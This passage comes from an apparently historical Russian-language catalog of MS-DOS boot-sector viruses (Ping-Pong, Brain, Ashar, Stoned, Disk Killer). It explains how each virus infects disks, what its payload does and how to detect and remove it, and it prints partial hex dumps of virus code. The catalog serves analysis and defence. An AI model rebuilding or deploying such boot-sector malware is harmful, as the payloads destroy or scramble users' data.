происходит стандартная загрузка системы. В дальнейшем, в процесс
работы пользователя на ЭВМ, вирус активируется всякий раз, когда
выполняется операция чтения с дискеты. Получив управление, вирус
анализирует, относится ли оно к дискете или к винчестеру. Если это
прерывание относится к дискете, то сначала вирус проверяет,
заражена уже данная дискета или нет. Для этой цели считывается
бутсектор и проверяются его содержимое. Если дискета еще не
заражена, то вирус заражает дискету, а затем обрабатывает команду
READ. В случае, если дискета уже заражена, вирус сразу переходит к
обработке команды READ; так же он поступает в случае, если дискета
защищена от записи.
Заражение выполняется следующим образом. Сначала вирус копирует
оригинальный бутсектор в оперативную память. Затем вирус ищет
свободный кластер, который он может пометить как сбойный. Если ни
одного свободного кластера на дискете нет, то заражения не
происходит. Если подходящий кластер найден, то вирус копирует туда
оригинальный бутсектор и свoй хвост (в первый сектор кластера
записывается хвост, а во второй сектор - оригинальный бутсектор).
Для того чтобы занятый вирусом кластер не был использован MS DOS
при создании нового файла, вирус помечает этот кластер как
сбойный. И, наконец, вирус записывает свою голову в бутсектор
заражаемого диска, предварительно записав в ней номер кластера,
содержащего хвост вируса. Заражение дискет происходит стандартным
образом: при обращении к дискете. Заражаемые дискеты должны иметь
512 сектора и 2 сектора в кластере. При заражении винчестера вирус
анализирует в MBR таблицу разделов (Partition Table) и определяет
положение бутсектора на винчестере.
Стадия проявления у данного вируса наступает через случайный
промежуток времени, варьирующийся от десятков минут до десятков
часов. Условия активизации точно автору не известны. Как уже
указывалось, стадия проявления заключается в появлении на экране
светлого ромбика(знак 07h ASCII), который хаотически движется по
диагоналям, отражающегоcя от границ экрана и символов
псевдографики. При этом не имеет значения тип установленного
адаптера. Ромбик беспрепятственно проходит сквозь обычные символы;
однако в некоторых случаях он изменяет цвет символа или заменяет
символ собой, искажая в последнем случае содержимое экрана. При
редактировании это совсем не безобидные изменения, поскольку при
записи в память искажения сохраняются. Поэтому можно исказить
редактируемый текст, работая на зараженной машине.
Если экран находится в графическом режиме, то движущийся ромбик
изменяет цвет полей, через которые он проходит. Для некоторых игр
это приводит к быстрому окрашиванию экрана в черный цвет, что
делает невозможным продолжение игры. Как уже указывалось изменение
цвета наблюдается и в текстовом режиме, когда ромбик, проходя
сквозь символ, также меняет его цвет. Это часто наблюдается со
стандартной подсказкой DOS.
В теле вируса имеется экзотическая команда, которую выполняет
микропроцессор 8086/8088 и не выполняет микропроцессор 80286.
Поэтому вирус работоспособен только на машинах класса XT. При
попытке загрузиться с зараженной дискеты на IBM PC/AT система
зависает.
Исторические замечания. Данный вирус появился на Западе примерно
в конце 1987 г. В СССР появился в конце 1988 г. (в Киеве в начале
1989 г.). Поскольку вирус достаточно распространен в соцстранах,
то он, несомненно, попадал в СССР неоднократно с различными
программными средствами. Первым и достаточно удачным фагом для
этого вируса, появившимся в Киеве, была зарубежная программа PNCL,
см. СП 1-1. Поскольку данный вирус является одним из самых
распространенных бутовых вирусов, имеются многочисленные штаммы.
Неформальные названия. Для данного вируса существует порядка
десятка неформальных названий. Среди них: Bouncing Dot - Танцующий
зайчик; Bouncing Ball - Прыгающий мячик; Italian Bouncing -
Итальянский попрыгунчик; Ball - Мячик, Vera Cruz - Вера Круз,
Italian - Итальянский. Полидетектор SCAN опознает этот вирус как
Ping Pong Virus - Version B [Ping].
Методы и программные средства защиты. Вирус можно
идентифицировать путем визуального просмотра содержимого
бутсектора (использовать Norton Utilities удобнее чем PCTools).
При проверке полученных дискет удобнее всего сравнивать первые три
байта (J-сигнатуру) дампа. Norton Utilitis (NU), которая выдает
FAT в полуинтерпретированном виде и позволяет сразу определить
номер кластера, помеченного как сбойный, что облегчает его поиск и
анализ. Как уже указывалось, вирус хранит содержимое нормального
бутсектора во втором секторе своего сбойного кластера. Поэтому
можно дезинфицировать зараженные дискеты, переписывая второй
сектор сбойного кластера в бутсектор. Эту операцию можно
выполнить, например, с помощью Norton Utilities. Затем необходимо
исправить в FAT сбойный кластер на FFF (тем самым он становится
потерянным) и превратить его в файл, запустив утилиту CHKDSK с
параметром /F, и наконец, удалить полученный файл с тем, чтобы
бывший сбойный кластер попал в пул свободных кластеров. Имеется
также специальная утилита для удаления сбойный секторов. Полифаг
AIDSTEST и другие сопровождаемые полифаги распознают и уничтожают
этот вируса, предварительно нейтрализуя его в памяти. Тем не менее
лучше выполнять эту операцию, загрузивщись с защищенной от записи
эталонной MS DOS. Возможно вакцинирование дискеты от данного
вируса, однако оно существенного значения не имеет, поскольку при
минимальных мерах предосторожности (обязательное использование при
копировании программ с дискет защитных наклеек, контроль
бутсектора), распространения этого вируса, как и любого, бутового
вируса можно избежать.
Дамп головы вируса Bx1-1C
000: EB1C90504320546F 6F6C730002020100 ...PC Tools.....
010: 027000D002FD0200 09000200000033C0 .p............3.
020: 8ED0BC007C8ED8A1 13042D0200A31304 ....|.....-.....
030: B106D3E02DC0078E C0BE007C8BFEB900 ....-......|....
040: 01F3A58EC80E1FE8 000032E4CD138026 ..........2....&
... .. .. .. .. .. .. .. .. . . . . . . . .
120: F77DFE5A595B5807 1FEA1B0300C8B801 .}.ZY[X.........
130: 02B600B90100E88A FFF606F87D807423 ............}.t#
140: BEBE81B90400807C 0401740C807C0404 .......|..t..|..
150: 740683C610E2EFC3 8B148B4C02B80102 t..........L....
160: E860FFBE0280BF02 7CB91C00F3A4813E .`......|......>
170: FC8157137515803E FB8100730DA1F581 ..W.u..>...s....
180: A3F57D8B36F981E9 0801C3813E0B8000 ..}.6.......>...
190: 0275F7803E0D8002 72F08B0E0E80A010 .u..>...r.......
1A0: 8098F726168003C8 B82000F726118005 ...&..... ..&...
1B0: FF01BB0002F7F303 C8890EF57DA1137C ............}..|
1C0: 2B06F57D8A1E0D7C 33D232FFF7F3408B +..}...|3.2...@.
1D0: F88026F77DFB3DF0 0F7605800EF77D04 ..&.}.=..v....}.
1E0: BE01008B1E0E7C4B 891EF37DC606B27E ......|K...}...~
1F0: FEEB0D01000C0001 00240200571355AA .........$..W.U.
Хвост вируса, записанный в псевдосбойном кластере
000: FF06F37D8B1EF37D 8006B27E02E88DFE ...}...}...~....
010: EB39B80300F606F7 7D04740140F7E6D1 .9......}.t.@...
020: E82A26B27E8BD881 FBFF0173D38B9700 .*&.~......s....
030: 80F606F77D04750D B104F7C601007402 ....}.u.......t.
040: D3EA80E60FF7C2FF FF7406463BF776C2 .........t.F;.v.
050: C3BAF7FFF606F77D 04750D80E60FB104 .......}.u......
060: F7C601007402D3E2 099700808B1EF37D ....t..........}
... .. .. .. .. .. .. .. .. . . . . . . . .
7.1.2. Штамм Bx1-1C-b
(Ping-Pong modified by Yankee Doodle - Пинг-понг,
модифицированный вирусом Янки Дудль)
В данном штамме имеются изменения, вносимые вирусами подгруппы
музыкальных самоедов. Изменения состоят в введении счетчика,
увеличивающегося на единицу при каждом заражении. При достижении
счетчиком значения 255 вирус теряет способность к дальнейшему
размножению.
Исторические замечания. Выделен и изучен И.Сысоевым. Приводимые
сведения опираются непосредственно на его сообщение на семинаре.
Неформальные названия. Помимо приведенного выше, отсутствуют.
Методы и программные средства защиты. Рекомендуется использовать
полифаг AV.
7.1.3. Штамм Bx1-1C-с
(Hacked Ping-Pong - Искромсанный пинг-понг)
Данный штамм является версией оригинального вируса, в котором
непосредственно в загрузочном модуле сделаны изменения,
направленные на стирание первых секторов диска при нажатии клавиши
Scroll Lock. Из-за ошибок при коррректировании загрузочного модуля
по живому данный штамм только размножается. Впрочем возможно
имеется и доработанная версия.
Исторические замечания. Выделен и изучен И.Сысоевым. Приводимые
сведения опираются непосредственно на его сообщение на семинаре.
Неформальные названия. Помимо приведенного выше, отсутствуют.
Методы и программные средства защиты. Рекомендуется использовать
полифаг AV.
7.1.4. Штамм Bx1-1C-d
(Double Ping-pong - двойной пинг-понг)
Данный штамм отличается от предыдущего наличием двух движущихся
светлых пятен.
7.2. Пакистанская группа
Представители пакистанской группы вирусов отличаются тем, что
они не заражают винчестер, заражая только дискеты. Первым
представителем этой группы является вирус Dx3-E9.
7.2.1. Вирус Dx3-E9 (Singapore Brain -
Сингапурский вариант Душманских мозгов)
Вирус Dx3-E9 во многом аналогичен вирусу Bx1-1C, однако в отли-
чие от Bx1-1C, он никогда не инфицирует винчестер. Он заражает
только 40 дорожечные двухсторонние 9-ти секторные дискеты (360K),
которые были сформатированы MS DOS. При заражении дискеты ее имя
меняется на (С)BRAIN, чем и определяется неформальное название ви-
руса. Рассматриваемый штамм появился несколько позднее оригиналь-
ной версии и имеет, по-видимому, сингапурское происхождение.
На дискетах хвост вируса расположен в трех кластерах (шести
секторах), помеченных как сбойные. На зараженной ЭВМ вирус
уменьшает обьем доступной памяти на 7К.
В отличие от Bx1-1C, на инфицированной MS DOS (с вирусом,
находящемся в старших адресах памяти) невозможно прочитать
инфицированный бутсектор. В случае, когда делается такая попытка,
Dx3-E9 перенаправляет запрос на чтение в оригинальный бутсектор,
хранящийся в одном из сбойных кластеров. Поэтому непременным
условием анализа является предварительная загрузка MS DOS с
незараженной дискеты, защищенной от записи.
Процесс загрузки в память для данного вируса полностью
аналогичен вирусу Bx1-1C.
После того, как вирус стал резидентным, он активируется при
возникновении прерывания по чтению. Получив управление по этому
прерыванию, он анализирует, относится ли оно к дискете или к
винчестеру. Если это прерывание относится к дискете, то сначала
вирус проверяет, заражена уже данная дискета или нет. Для этой
цели считывается бутсектор и проверяются его четвертый и пятый
байты (в зараженной дискете там находится подпись 1234, которая
при просмотре дампа имеет вид 3412). Если подпись отсутствует, то
вирус заражает дискету, а затем обрабатывает команду READ. В
случае, если дискета уже заражена, вирус обрабатывает команду
READ; так же он поступает в случае, если дискета защищена от
записи.
Основное отличие в функционировании заключается в том, что при
заражении дискеты вирус ищет не один, а три последовательных
свободных кластера. Если их нет, то заражения не происходит.
Однако, если есть лишь один свободный кластер, который не
относится к двум последним кластерам дискеты, то вирус использует
его, затирая два соседних кластера и отмечая все три как сбойные.
Очевидно, что соответствующий файл(ы) повреждается и диск будет
копироваться с ошибками.
Вирус может длительное время находиться в стадии размножения.
Фаза проявления состоит в переименовании заражаемых дискет.
Также как и Bx1-1C, вирус Dx3-E9 может загружаться с несистемной
дискеты. При этом после загрузки вирус выдает сообщение:
Please Insert a Bootable disk
Then Type [Return]
Хотя размер вируса достигает 3К, менее половины кода вируса
действительно выполняется. Часть кода похоже не получает
управления ни при каких обстоятельствах и, возможно, вставлена для
затруднения дисассемблирования и анализа.
Исторические замечания. Оригинальная версия вируса Dx3-E9
является первым бутовым вирусом для MS DOS, получившим массовое
распространение и была выявлена в США в октябре 1987 г., где она
вызвала своего настоящую эпидемию. Название Brain связано с тем,
что он присваивает имя Brain любой зараженной дискете. Это один из
немногих вирусов, для которых установлены авторы: Basit Farood
Alvi (19 лет) и Bruder Amgad (23 года) из Лахора (Пакистан).
Поэтому иногда этот вирус называют Душманские мозги. П.Хофман
отмечает наличие ряда штаммов:
1. Brain-B/Hard Disk Brain/Houston Virus - штамм заражающий
винчестер;
2. Brain-C - доработанный штамм Brain-B, в котором метка (c)
Brain удалена;
3. Clone Virus - доработанный штамм Brain-C, в котором опять
восстановлена оригинальная метка;
4. Clone-B - наиболее опасный штамм - версия Clone Virus
модифицированная так, что она уничтожает FAT винчестера после
5.05.92.
Рассматриваемый сингапурский штамм Dx3-E9 был первым штаммом
BRAIN, обнаруженным в СССР. Его выделил А.Сесса в Днепропетровске
в начале сентября 1989 г. на дистрибутивных дискетах с пакетами
Dr. Halo III и GeniScan Edit, входивших в поставочный пакет
сканера фирмы Genius. По данным А.Сессы вирус попал в
Днепропетровск вместе с компьютерами, привезенными из Тайваня на
компьютерную ярмарку.
Первым детектором для данного вируса был полидетекторор SCAN, а
первым фагом - программа NOBRAIN. Как детектор, так и фаг были
известны до появления вируса (распространялись через СОФТПАНОРАМУ
в сентябре-октябре 1989 года).
Неформальные названия. Помимо приведнного в заголовке,
используется название Brain-88 - Душманские мозги-88.
Методы и программные средства защиты. Рекомандуемые полифаги
приведены в прил.2. Как уже указывалось, вирус нельзя
идентифицировать путем визуального просмотра содержимого
бутсектора, например, с помощью PCTools, на зараженной машине; его
можно определить, только загрузившись с системной защищенной
дискеты. Поскольку вирус размещает в соответствующих байтах
бутсектора свою подпись, можно вручную вакцинировать дискеты,
исправляя соответствующие байты бутсектора.
Бутсектор, зараженный вирусом Brain
000: FAE94A0134120102 0600010020202000 ..J.4....... .
010: 2020202020205765 6C636F6D6520746F Welcome to
020: 207468652044756E 67656F6E20202020 the Dungeon
030: 2020202020202020 2020202020202020
040: 2020202020202020 2020202020202020
050: 2028432920313938 3820426173697420 (C) 1988 Basit
060: 2620416D6A616420 2870767429204C74 & Amjad (pvt) Lt
070: 642E202020202020 2020202020202020 d.
080: 20425241494E2043 4F4D505554455220 BRAIN COMPUTER
090: 5345525649434553 2E2E373330204E49 SERVICES..730 NI
0A0: 5A414D20424C4F43 4B20414C4C414D41 ZAM BLOCK ALLAMA
0B0: 20495142414C2054 4F574E2020202020 IQBAL TOWN
0C0: 2020202020202020 20204C61686F7265 Lahore
0D0: 2C50616B69737461 6E2E2050683A2034 ,Pakistan. Ph: 4
0E0: 33303739312C2034 34333234382E2056 30791, 443248. V
0F0: 6572202853696E67 61706F7265292020 er (Singapore)
100: 426577617265206F 6620746869732022 Beware of this
110: 7669727573222E20 49742077696C6C20 virus. It will
120: 7472616E73666572 20746F206D696C6C transfer to mill
130: 696F6E206F662044 69736B6574746573 ion of Diskettes
140: 2E2E2E2E20242340 2524402121208CC8 .... $#@%$@!! ..
... .. .. .. .. .. .. .. .. . . . . . . . .
Фрагменты дампа хвоста вируса Brain,
расположенного в псевдосбойных кластерах 55 - 57
+----- начало оригиналь-
| ного бутсектора
000: EB349049424D4D53 332E330002020100 .4.IBMMS3.3.....
010: 027000D002FD0200 0900020000000000 .p..............
020: 0000000000000000 0000000000000012 ................
030: 000000000100FA33 C08ED0BC007C1607 .......3.....|..
040: BB780036C5371E56 1653BF2B7CB90B00 .x.6.7.V.S.+|...
050: FCAC26803D007403 268A05AA8AC4E2F1 ..&.=.t.&.......
060: 061F894702C7072B 7CFBCD137267A010 ...G...+|...rg..
... .. .. .. .. .. .. .. .. . . . . . . . .
150: 1A7C88162A7CA339 7CC3B4028B16397C .|..*|.9|.....9|
160: B106D2E60A363B7C 8BCA86E98A16FD7D .....6;|.......}
170: 8A362A7CCD13C30D 0A4E6F6E2D537973 .6*|.....Non-Sys
180: 74656D206469736B 206F72206469736B tem disk or disk
190: 206572726F720D0A 5265706C61636520 error..Replace
1A0: 616E642073747269 6B6520616E79206B and strike any k
1B0: 6579207768656E20 72656164790D0A00 ey when ready...
1C0: 0D0A4469736B2042 6F6F74206661696C ..Disk Boot fail
1D0: 7572650D0A004942 4D42494F2020434F ure...IBMBIO CO
1E0: 4D49424D444F5320 20434F4D00000000 MIBMDOS COM....
1F0: 0000000000000000 00000000000055AA ..............U.
... .. .. .. .. .. .. .. .. . . . . . . . .
00: EB26202843292031 3938382042617369 .& (C) 1988 Basi
210: 74202620416D6A61 6420287076742920 t & Amjad (pvt)
220: 4C74642E00040100 2EC60625021F33C0 Ltd........%..3.
... .. .. .. .. .. .. .. .. . . . . . . . .
340: 0000000000000000 0000000000000000 ................
350: EB25900300202843 2920313938382042 .%... (C) 1988 B
360: 6173697420262041 6D6A616420287076 asit & Amjad (pv
370: 7429204C746420E8 AD00A1BE063DFDFF t) Ltd ......=..
... .. .. .. .. .. .. .. .. . . . . . . . .
490: 036B000303BE0E01 000101E0D89DD7E0 .k..............
4A0: 9F8D989F8EE02028 432920427261696E ...... (C) Brain
4B0: 2024E8DB00720A57 E81F005F7203E8D7 $...r.W..._r...
4C0: 00C3BB9B04B90B00 8A07F6D888044643 ..............FC
... .. .. .. .. .. .. .. .. . . . . . . . .
+----- еще одна копия
| оригинального
| бутсектора
6B0: 09C606090000FE06 0B00C3647461EB34 ...........dta.4
6C0: 9049424D4D53332E 3300020201000270 .IBMMS3.3......p
6D0: 00D002FD02000900 0200000000000000 ................
6E0: 0000000000000000 0000000000120000 ................
820: D2E60A363B7C8BCA 86E98A16FD7D8A36 ...6;|.......}.6
830: 2A7CCD13C30D0A4E 6F6E2D5379737465 *|.....Non-Syste
840: 6D206469736B206F 72206469736B2065 m disk or disk e
850: 72726F720D0A5265 706C61636520616E rror..Replace an
860: 6420737472696B65 20616E79206B6579 d strike any key
870: 207768656E207265 6164790D0A000D0A when ready.....
880: 4469736B20426F6F 74206661696C7572 Disk Boot failur
890: 650D0A0049424D42 494F2020434F4D49 e...IBMBIO COMI
8A0: 424D444F53202043 4F4D000000000000 BMDOS COM......
8B0: 0000000000000000 0000000055AA0000 ............U...
8C0: 0000000000000000 0000000000000000 ................
*** следующие строки идентичны предыдущей ***
AB0: 0000000000000000 000000000000FDFF ................
AC0: FF03400005600007 800009A0000BC000 ..@..`..........
AD0: 0DE0000F00011120 0113400115600117 ....... ..@..`..
AE0: 800119A0011BC001 1DE0011F00022120 ..............!
AF0: 0223400225600227 800229A0022BC002 .#@.%`.'..)..+..
B00: 2DE0022F00033120 0333F0FF00000000 -../..1 .3......
B10: 70FFF77FFF000000 0000000000000000 p..............
B20: 0000000000000000 0000000000000000 ................
*** следующие строки идентичны предыдущей ***
BF0: 0000000000000000 0000000000000000 ................
7.2.2. Вирус Dx3-E9
(Оригинальная версия BRAIN;
Pakistani virus - Пакистанский вирус;
Brain-86 - Душманские Мозги-86)
Оригинальная версия Brain в СССР, по видимому, не отмечалась.
Приводимый ниже фрагмент бутсектора воспроизводится по статье
[149].
Исторические замечания. Выделен и изучен И.Сысоевым. Приводимые
сведения опираются непосредственно на его сообщение на семинаре.
Неформальные названия.
Методы и программные средства защиты. Рекомендуется использовать
полифаг AV.
Голова вируса BRAIN
(видна только на незараженной вирусом машине)
000: FAE94A0134120102 2700010000000020 ъщJ4'
010: 2020202020205765 6C636F6D6520746F Welcome to
020: 207468652044756E 67656F6E20202020 the Dungeon
030: 2020202020202020 2020202020202020
040: 2020202020202020 2020202020202020
050: 2028632920313938 3620426173697420 (c) 1986 Basit
060: 2620416D6A616420 2870767429204C74 & Amjad (pvt) Lt
070: 642E202020202020 2020202020202020 d.
080: 20425241494E2043 4F4D505554455220 BRAIN COMPUTER
090: 5345525649434553 2E2E373330204E49 SERVICES..730 NI
0A0: 5A414D20424C4F43 4B20414C4C414D41 ZAM BLOCK ALLAMA
0B0: 20495142414C2054 4F574E2020202020 IQBAL TOWN
0C0: 2020202020202020 2020204C41484F52 LAHOR
0D0: 452D50414B495354 414E2E2E50484F4E E-PAKISTAN..PHON
0F0: 45203A3433303739 312C343433323438 E :430791,443248
100: 2C3238303533302E 2020202020202020 ,280530.
110: 2020426577617265 206F662074686973 Beware of this
120: 2056495255532E2E 2E2E2E436F6E7461 VIRUS.....Conta
130: 637420757320666F 722076616363696E ct us for vaccin
... .. .. .. .. .. .. .. .. . . . . . . . .
7.2.3. Штамм Dx3-E9 (Ashar - Ашар)
Данный штамм отличается от предыдущего тем, что помимо дискет,
он заражает и винчестер. Содержит модифицированное по отношению к
предыдущему вирусу текстовое сообщение VIRUS_SHOE RECORD, v9.0.
Dedicated to the dynamic memories of millions of virus who are no
longer with us today. Последнее, как и в предыдущем случае, не
видно при просмотре бутсектора на зараженной машине. Используемое
неформальное название связано с строкой (c) ashar, которая
обычно содержится в теле вируса со смещением 04A6h.
Исторические замечания. Данный штамм описан П.Хофман в версии от
10.08.90. Широко распространен в США. Имеется версия 9.1, которая
в отличие от рассматриваемой версии 9.0 не заражает винчестер. В
СССР выделен Д.H.Лозинским в начале 1990 года.
Неформальные названия. Помимо приведенного в заголовке,
используются названия Shoe_Virus, UIUC Virus
Методы и программные средства защиты.См. предыдущий штамм.
Дамп штамма Ashar
000: FAE94A0134120009 1700010000000000 ..J.4...........
010: 57656C636F6D6520 746F207468652020 Welcome to the
020: 44756E67656F6E20 2020202020202020 Dungeon
030: 2863292031393836 20427261696E1726 (c) 1986 Brain.&
040: 20416D6A61647320 2870767429204C74 Amjads (pvt) Lt
050: 6420202056495255 535F53484F452020 d VIRUS_SHOE
060: 5245434F52442020 2076392E30202020 RECORD v9.0
070: 4465646963617465 6420746F20746865 Dedicated to the
080: 2064796E616D6963 206D656D6F726965 dynamic memorie
090: 73206F66206D696C 6C696F6E73206F66 s of millions of
0A0: 2076697275732077 686F20617265206E virus who are n
0B0: 6F206C6F6E676572 2077697468207573 o longer with us
0C0: 20746F646179202D 205468616E6B7320 today - Thanks
0D0: 474F4F444E455353 2121202020202020 GOODNESS!!
0E0: 2042455741524520 4F46205448452065 BEWARE OF THE e
0F0: 722E2E5649525553 20203A205C746869 r..VIRUS : \thi
100: 732070726F677261 6D20697320636174 s program is cat
110: 6368696E67202020 20202070726F6772 ching progr
120: 616D20666F6C6C6F 7773206166746572 am follows after
130: 207468657365206D 657373656765732E these messeges.
140: 2E2E2E2E20242340 2524402121208CC8 .... $#@%$@!! ..
150: 8ED88ED0BC00F0FB A0067CA2097C8B0E ..........|..|..
160: 077C890E0A7CE857 00B90500BB007EE8 .|...|.W......~.
170: 2A00E84B0081C300 02E2F4A113042D07 *..K..........-.
180: 00A31304B106D3E0 8EC0BE007CBF0000 ............|...
190: B90410FCF3A406B8 000250CB5153B904 ..........P.QS..
... .. .. .. .. .. .. .. .. . . . . . . . .
Фрагменты дампа хвоста вируса,
расположенного в псевдосбойных кластерах 55 - 57
200: EB26286329203139 383620427261696E .&(c) 1986 Brain
210: 202620416D6A6164 7320287076742920 & Amjads (pvt)
220: 4C74642000040000 2EC60625021F33C0 Ltd .......%..3.
230: 8ED8A14C00A3B401 A14E00A3B601B876 ...L.....N.....v
240: 02A34C008CC8A34E 00B9040033C08EC0 ..L....N....3...
... .. .. .. .. .. .. .. .. . . . . . . . .
340: 0000000000000000 0000000000000000 ................
350: EB25900300202863 2920313938362042 .%... (c) 1986 B
360: 7261696E20262041 6D6A616473202870 rain & Amjads (p
370: 767429204C7464E8 AD00A1BE063DFDFF vt) Ltd......=..
... .. .. .. .. .. .. .. .. . . . . . . . .
490: 0363000303BE0E01 000101E0D89DD7E0 .c..............
4A0: 9F8D989F8EE02028 6329206173686172 ...... (c) ashar
4B0: 2024E8DB00720A57 E81F005F7203E8D7 $...r.W..._r...
4C0: 00C3BB9B04B90B00 8A07F6D888044643 ..............FC
... .. .. .. .. .. .. .. .. . . . . . . . .
+----- начало оригиналь-
| ного бутсектора
6B0: 09C606090000FE06 0B00C3647461EB34 ...........dta.4
6C0: 9049424D2020332E 3300020201000270 .IBM 3.3......p
6D0: 00D002FD02000900 0200000000000000 ................
6E0: 0000000000000000 0000000000120000 ................
... .. .. .. .. .. .. .. .. . . . . . . . .
830: 2A7CCD13C30D0A4E 6F6E2D5379737465 *|.....Non-Syste
840: 6D206469736B206F 72206469736B2065 m disk or disk e
850: 72726F720D0A5265 706C61636520616E rror..Replace an
860: 6420737472696B65 20616E79206B6579 d strike any key
870: 207768656E207265 6164790D0A000D0A when ready.....
880: 4469736B20426F6F 74206661696C7572 Disk Boot failur
890: 650D0A0049424D42 494F2020434F4D49 e...IBMBIO COMI
8A0: 424D444F53202043 4F4D000000000000 BMDOS COM......
8B0: 0000000000000000 0000000055AA0000 ............U...
... .. .. .. .. .. .. .. .. . . . . . . . .
7.3. Южнозеландская группа
Для данной группы характерно заражение MBR на винчестере и
минимальный хвост, размером в один сектор, содержащий только
оригинальный бутсектор (или MBR), который размещается не в
псевдосбойном кластере, а по определнному абсолютному адресу,
приходящемуся на начальные сектора диска.
7.3.1. Вирус M-05 (Stoned - Забалдевший)
Название данного вируса связано с тем, что при загрузке MS DOS с
вероятностью 1/8 на экран выдается сообщение Your PC is now
Stoned, после которого, с некоторой задержкой, возрастающей по
мере увеличения количества перезагрузок и сопровождающийся
характерным звуком выполняется нормальная загрузка. Голова вируса
вируса содержит строку LEGALISE MARIJUANA!. Хвост состоит только
из оригинального бутсектора.
Заражение дискет выполняется стандартным образом. При заражении
винчестера голова вируса записывается в не в бутсектор раздела С,
а в абсолютный начальный сектор диска, который на винчестере
содержит Partition Table (таблицу разделов диска).
Расположение хвоста вируса отличается для дискеты и винчестера.
На дискете хвост вируса расположен не в сбойном кластере, а в
секторе с абсолютным адресом (цилиндр/дорожка/сектор) 0/1/3 -
последнем секторе главного каталога дискеты. На винчестере хвост
располагается в свободный сектор с абсолютным адресом 0/0/7,
который представляет собой неиспользуемое пространство между MBR и
началом логического диска С.
При заражении дискеты проверок, занят ли указанный выше сектор
информацией или нет, вирус не выполняет. Поэтому на дискете,
содержащей в главном каталоге много мелких программ, возможно
уничтожение части каталога. В случае, если винчестер разбит более
чем на четыре логических раздела, содержимое записей PARTITION
TABLE всех разделов после четвертого после заражения теряется и
информация на них становится недоступной. Информацию об этих
разделах можно восстановить с помощью Norton Disk Doctor.
Исторические замечания. Вирус M-05 впервые был обнаружен в
Веллингтоне (Новая Зеландия) в начале 1988 г. По данным П.Хоффман
оригинальный вирус заражал только пятидюймовые дискеты 360K. С
этой точки зрения описанный выше вирус следует рассматривать как
штамм оригинального (Stoned-B). В нашей стране появился в конце
1989 года практически одновременно в нескольких городах. Имеется
несколько штаммов среди которых отметим штамм Stone Rostov,
описанный ниже, а также Stoned-C: штамм с удаленным сообщением;
Stoned-D : аналогичен описанному выше, однако способен заражать
дискеты типа HD (как трех, так и пятидюймовые).
Неформальные названия. Помимо приведенных выше встречаются
названия: Marijuana - Марихуана, Hawaii - Гаваи, New Zealand -
Новая Зеландия, San Diego - Сан Диего, Smithsonian. Полидетектор
SCAN называет данный вирус Stoned Virus [Stoned].
Методы и программные средства защиты. Рекомендуемые детекторы и
полифаги приведены в прил.2. Простейшим фагом для данного вируса
на дискете является команда SYS. Для незагружаемого диска можно
вручную стереть бутсектор.
Дамп бутсектора дискеты, зараженной вирусом M-05
000: EA0500C007E99900 0043A300F0E40040 .........C.....@
010: 9F007C00001E5080 FC02721780FC0473 ..|...P...r....s
020: 120AD2750E33C08E D8A03F04A8017503 ...u.3....?...u.
030: E80700581F2EFF2E 0900535152065657 ...X......SQR.VW
040: BE0400B801020E07 BB000233C98BD141 ...........3...A
050: 9C2EFF1E0900730E 33C09C2EFF1E0900 ......s.3.......
060: 4E75E0EB359033F6 BF0002FC0E1FAD3B Nu..5.3........;
... .. .. .. .. .. .. .. .. . . . . . . . .
170: 1F0E07BEBE03BFBE 01B94202F3A4B801 ..........B.....
180: 0333DBFEC1CD13EB C507596F75722050 .3........Your P
190: 43206973206E6F77 2053746F6E656421 C is now Stoned!
1A0: 070D0A0A004C4547 414C495345204D41 .....LEGALISE MA
1B0: 52494A55414E4121 0000000000000000 RIJUANA!........
1C0: 0000000000000000 0000000000000000 ................
1D0: 0000000000000000 0000000000000000 ................
1E0: 0000000000000000 0000000000000000 ................
1F0: 0000000000000000 0000000000000000 ................
Следует обратить внимание, что в конце зараженного бутсектора
отсутствует двухбайтовый признак загружаемого бутсектора 55h AAh.
7.3.2. Штамм Stone Rostov
Данный штамм практически идентичен базисной версии. Изменена
лишь часть кода, связанная с проявлением вируса: данный штамм не
содержит ни характерных текстовых строк ни кода, который выводит
их на дисплей. Вместо этого вставлен код, который при при загрузке
с зараженной дискеты с вероятностью 1/32 стирает на винчестере 8
секторов.
7.3.3. Вирус PrintScreen
Отличается адресом хранения хвоста на винчестере (1/3/13 вместо
0/0/7 как в оригинальной версии. При этом может уничтожить один из
секторов FAT.
7.4. Вирус Bx3-EB (Disk Killer - Диск-киллер)
Неформальное название данного вируса связано с содержащимися в
его теле текстовыми строками (см. ниже). Формально данный вирус
относится к бутовым вирусам типа Вx3, поскольку поражает как
дискеты, так и винчестер, причем на дискете хвост вируса
расположен в трех кластерах, помеченных как сбойные. Дамп
секторов, содержащих данный вирус, приведен ниже. Иногда из-за
ошибки в вирусе эти сектора отнимаются у некоторого файла, а не
берутся из свободного пространства и создается впечатение, что
файл заражен данным вирусом. Например автору был передан экземпляр
программы DISKCOPY, содержащей в хвосте тело данного вируса.
Вирус поражает и винчестер, однако размещает свой хвост не в
псевдосбойных кластерах, а в секторах, расположенных между MBR и
началом раздела С.
Процесс размножения стандартен. Данный вирус, как и большинство
бутовых вирусов, конфликтует с драйверами дискет, поддерживающих
нестандартные форматы (например, 720K). При этом либо система
зависает, либо выдается сообщение о делении на нуль.
Инфицированный диск содержит сообщение и часть кода вируса в
бутсекторе. Остальная часть вируса, включая копию оригинального
(т.е. незараженного) бутсектора, содержится в трех кластерах,
которые, как уже указывалось выше по разному рамещаются на дискете
и винчестере.
Фаза проявления данного вируса состоит в прописывании
определенным символом всего содержимого раздела С. Если винчестер
содержит несколько разделов, то остальные разделы остаются
нетронутыми (при использовании ADM). Вирус подсчитывает время
использования диска с момента заражения и активирусется после
достижения определнного значения (примерно 48 часов). Обычно это
означает 1-6 недель с момента заражения в зависимости от
интенсивности использования компьютера. Фаза проявления начинается
с выдачи сообщения, содержащегося в коде вируса.
Disk Killer -- Version 1.00 by COMPUTER OGRE 04/01/89
Warning!!
Don't turn off the power or remove the diskette while Disk
Killer is Processing!
PROCESSING
Now you can turn off the power. I wish you Luck!
Следует отметить, что в этот момент еще можно спасти часть
информации нажав на кнопку перезагрузки (теряются системные
блоки). Затем вирус кодирует сектора выполняя операцию XOR со
значениями 0AAAAh и 05555h. Как известно операция XOR обратима,
поэтому можно восстановить перекодированную информацию. Утилита
для этой цели находится в стадии разработки.
Исторические замечания. В теле вируса содержится дата 04.01.89
(по-видимому, в американском формате), которую можно
интерпретировать как дату создания вируса. По данным П.Хоффман был
выделен в Калифорнии в апреле 1989 г. и имеет тайванское
происхождение.В нашей стране вирус появился в начале 1990 года.
Неформальные названия. Полидетектор SCAN называет данный вирус
Disk Killer Virus [Killer]. Другими неформальными названиями,
